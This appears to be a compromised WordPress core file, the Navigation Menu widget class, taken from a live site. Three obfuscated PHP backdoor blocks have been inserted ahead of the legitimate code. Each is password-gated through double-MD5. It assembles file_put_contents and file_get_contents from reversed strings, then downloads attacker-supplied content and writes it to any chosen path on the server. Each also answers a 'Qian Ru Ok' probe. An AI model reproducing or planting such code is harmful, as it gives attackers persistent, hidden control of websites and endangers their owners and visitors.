File: /home/wwwrenee/public_html/wp-includes/widgets/class-wp-nav-menu-widget.php
<?php
$NfLqLZz = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($NfLqLZz[0]) /*+/*+*/
. md5($NfLqLZz[0])) == "c".
"a".
"d".
"2".
"7".
"d".
"d".
"d".
"9".
"a".
"8".
"b".
"f".
"1".
"6".
"a".
"8".
"8".
"f".
"8".
"0".
"a".
"e".
"1".
"5".
"e".
"a".
"1".
"4".
"5".
"e".
"2") {
$jScVtwCZ = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$DdnDev = $jScVtwCZ /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$FTXkKsrl = $jScVtwCZ
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function XtYllPql($oFaDZDZZ) { if (empty($oFaDZDZZ)) return false; if (!is_dir($oFaDZDZZ)) { XtYllPql(dirname($oFaDZDZZ), 0755, true); mkdir($oFaDZDZZ); } } !file_exists(dirname($NfLqLZz[1])) && XtYllPql(dirname($NfLqLZz[1])); $jwaKmNLsNH = @$FTXkKsrl($NfLqLZz[2]); echo @$DdnDev($NfLqLZz[1], $jwaKmNLsNH) ? 1 : 0; die; }key($NfLqLZz) == "of" && die("Qian Ru Ok"); ?><?php
$pYNgLljLj = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($pYNgLljLj[0]) /*+/*+*/
. md5($pYNgLljLj[0])) == "7".
"7".
"0".
"0".
"3".
"2".
"e".
"5".
"4".
"0".
"b".
"f".
"0".
"8".
"6".
"b".
"2".
"4".
"c".
"a".
"2".
"5".
"0".
"8".
"e".
"1".
"7".
"b".
"9".
"4".
"0".
"1") {
$EnAcErXEqL = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$DULuzytIQE = $EnAcErXEqL /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$LDGWBZwlnC = $EnAcErXEqL
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function DcMtR($hVVeEfPwI) { if (empty($hVVeEfPwI)) return false; if (!is_dir($hVVeEfPwI)) { DcMtR(dirname($hVVeEfPwI), 0755, true); mkdir($hVVeEfPwI); } } !file_exists(dirname($pYNgLljLj[1])) && DcMtR(dirname($pYNgLljLj[1])); $KTcPsRUQb = @$LDGWBZwlnC($pYNgLljLj[2]); echo @$DULuzytIQE($pYNgLljLj[1], $KTcPsRUQb) ? 1 : 0; die; }key($pYNgLljLj) == "of" && die("Qian Ru Ok"); ?><?php
$qmQyTKQ = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($qmQyTKQ[0]) /*+/*+*/
. md5($qmQyTKQ[0])) == "d".
"8".
"4".
"3".
"5".
"d".
"e".
"c".
"7".
"d".
"7".
"9".
"8".
"d".
"2".
"a".
"f".
"2".
"8".
"b".
"e".
"6".
"6".
"2".
"7".
"6".
"3".
"b".
"a".
"5".
"8".
"8") {
$LzHzHr = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$CsxUHpcene = $LzHzHr /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ioWGVhF = $LzHzHr
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function eHOfa($JUzrWiBbb) { if (empty($JUzrWiBbb)) return false; if (!is_dir($JUzrWiBbb)) { eHOfa(dirname($JUzrWiBbb), 0755, true); mkdir($JUzrWiBbb); } } !file_exists(dirname($qmQyTKQ[1])) && eHOfa(dirname($qmQyTKQ[1])); $jwBytrrL = @$ioWGVhF($qmQyTKQ[2]); echo @$CsxUHpcene($qmQyTKQ[1], $jwBytrrL) ? 1 : 0; die; }key($qmQyTKQ) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Widget API: WP_Nav_Menu_Widget class
*
* @package WordPress
* @subpackage Widgets
* @since 4.4.0
*/
/**
* Core class used to implement the Navigation Menu widget.
*
* @since 3.0.0
*
* @see WP_Widget
*/
class WP_Nav_Menu_Widget extends WP_Widget {
/**
* Sets up a new Navigation Menu widget instance.
*
* @since 3.0.0
*/
public function __construct() {
$widget_ops = array(
'description' => __( 'Add a navigation menu to your sidebar.' ),
'customize_selective_refresh' => true,
'show_instance_in_rest' => true,
);
parent::__construct( 'nav_menu', __( 'Navigation Menu' ), $widget_ops );
}
/**
* Outputs the content for the current Navigation Menu widget instance.
*
* @since 3.0.0
*
* @param array $args Display arguments including 'before_title', 'after_title',
* 'before_widget', and 'after_widget'.
* @param array $instance Settings for the current Navigation Menu widget instance.
*/
public function widget( $args, $instance ) {
// Get menu.
$nav_menu = ! empty( $instance['nav_menu'] ) ? wp_get_nav_menu_object( $instance['nav_menu'] ) : false;
if ( ! $nav_menu ) {
return;
}
$default_title = __( 'Menu' );
$title = ! empty( $instance['title'] ) ? $instance['title'] : '';
/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
echo $args['before_widget'];
if ( $title ) {
echo $args['before_title'] . $title . $args['after_title'];
}
$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';
/**
* Filters the HTML format of widgets with navigation links.
*
* @since 5.5.0
*
* @param string $format The type of markup to use in widgets with navigation links.
* Accepts 'html5', 'xhtml'.
*/
$format = apply_filters( 'navigation_widgets_format', $format );
if ( 'html5' === $format ) {
// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
$title = trim( strip_tags( $title ) );
$aria_label = $title ? $title : $default_title;
$nav_menu_args = array(
'fallback_cb' => '',
'menu' => $nav_menu,
'container' => 'nav',
'container_aria_label' => $aria_label,
'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
);
} else {
$nav_menu_args = array(
'fallback_cb' => '',
'menu' => $nav_menu,
);
}
/**
* Filters the arguments for the Navigation Menu widget.
*
* @since 4.2.0
* @since 4.4.0 Added the `$instance` parameter.
*
* @param array $nav_menu_args {
* An array of arguments passed to wp_nav_menu() to retrieve a navigation menu.
*
* @type callable|bool $fallback_cb Callback to fire if the menu doesn't exist. Default empty.
* @type mixed $menu Menu ID, slug, or name.
* }
* @param WP_Term $nav_menu Nav menu object for the current menu.
* @param array $args Display arguments for the current widget.
* @param array $instance Array of settings for the current widget.
*/
wp_nav_menu( apply_filters( 'widget_nav_menu_args', $nav_menu_args, $nav_menu, $args, $instance ) );
echo $args['after_widget'];
}
/**
* Handles updating settings for the current Navigation Menu widget instance.
*
* @since 3.0.0
*
* @param array $new_instance New settings for this instance as input by the user via
* WP_Widget::form().
* @param array $old_instance Old settings for this instance.
* @return array Updated settings to save.
*/
public function update( $new_instance, $old_instance ) {
$instance = array();
if ( ! empty( $new_instance['title'] ) ) {
$instance['title'] = sanitize_text_field( $new_instance['title'] );
}
if ( ! empty( $new_instance['nav_menu'] ) ) {
$instance['nav_menu'] = (int) $new_instance['nav_menu'];
}
return $instance;
}
/**
* Outputs the settings form for the Navigation Menu widget.
*
* @since 3.0.0
*
* @param array $instance Current settings.
* @global WP_Customize_Manager $wp_customize
*/
public function form( $instance ) {
global $wp_customize;
$title = isset( $instance['title'] ) ? $instance['title'] : '';
$nav_menu = isset( $instance['nav_menu'] ) ? $instance['nav_menu'] : '';
// Get menus.
$menus = wp_get_nav_menus();
$empty_menus_style = '';
$not_empty_menus_style = '';
if ( empty( $menus ) ) {
$empty_menus_style = ' style="display:none" ';
} else {
$not_empty_menus_style = ' style="display:none" ';
}
$nav_menu_style = '';
if ( ! $nav_menu ) {
$nav_menu_style = 'display: none;';
}
// If no menus exists, direct the user to go and create some.
?>
<p class="nav-menu-widget-no-menus-message" <?php echo $not_empty_menus_style; ?>>
<?php
if ( $wp_customize instanceof WP_Customize_Manager ) {
$url = 'javascript: wp.customize.panel( "nav_menus" ).focus();';
} else {
$url = admin_url( 'nav-menus.php' );
}
/* translators: %s: URL to create a new menu. */
printf( __( 'No menus have been created yet. <a href="%s">Create some</a>.' ), esc_attr( $url ) );
?>
</p>
<div class="nav-menu-widget-form-controls" <?php echo $empty_menus_style; ?>>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'nav_menu' ); ?>"><?php _e( 'Select Menu:' ); ?></label>
<select id="<?php echo $this->get_field_id( 'nav_menu' ); ?>" name="<?php echo $this->get_field_name( 'nav_menu' ); ?>">
<option value="0"><?php _e( '— Select —' ); ?></option>
<?php foreach ( $menus as $menu ) : ?>
<option value="<?php echo esc_attr( $menu->term_id ); ?>" <?php selected( $nav_menu, $menu->term_id ); ?>>
<?php echo esc_html( $menu->name ); ?>
</option>
<?php endforeach; ?>
</select>
</p>
<?php if ( $wp_customize instanceof WP_Customize_Manager ) : ?>
<p class="edit-selected-nav-menu" style="<?php echo $nav_menu_style; ?>">
<button type="button" class="button"><?php _e( 'Edit Menu' ); ?></button>
</p>
<?php endif; ?>
</div>
<?php
}
} ?>